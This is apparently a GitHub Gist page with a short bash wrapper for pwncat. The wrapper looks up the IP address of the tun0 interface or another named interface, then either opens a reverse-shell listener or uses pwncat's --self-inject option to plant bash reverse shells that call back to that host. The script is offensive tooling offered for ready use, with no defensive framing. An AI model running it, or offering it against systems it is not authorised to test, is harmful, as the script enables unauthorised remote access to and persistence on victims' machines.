Skip to content

Instantly share code, notes, and snippets.

@oldkingcone
Last active June 20, 2022 00:27
Show Gist options
  • Save oldkingcone/14112fef37ea52d5054b92c4f64f9bb9 to your computer and use it in GitHub Desktop.
Save oldkingcone/14112fef37ea52d5054b92c4f64f9bb9 to your computer and use it in GitHub Desktop.
pwncat helper script
#!/bin/bash
if test $# -lt 2; then
echo "Cannot continue"
echo "Missing args."
echo "example: $0 [l] || [i] port interface"
exit
fi
if [ -z $2 ]; then
port=8081
echo "Port was empty (arg 2), using the default: $port"
else
port="$2"
echo "Port was not empty, setting port as: $port"
fi
if [ -z $3 ]; then
echo "Interface was not specified (arg 3). selecting Tun0"
ip=$( ip addr show tun0 | grep -v "inet6" | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" )
echo "IP assigned as: $ip"
else
echo "Selecting: $3 as the interface to use."
ip=$( ip addr show "$3" | grep -v "inet6" | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" )
echo "IP assigned as: $ip"
fi
case $1 in
"listen"|"l")
pwncat -l "$ip" "$port" -vv
;;
"inject"|"i")
pwncat -l "$ip" "$port" --self-inject "/bin/bash:$ip:$port" -vv
;;
*)
echo "Cannot do what you asked of me."
exit 1
;;
esac
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment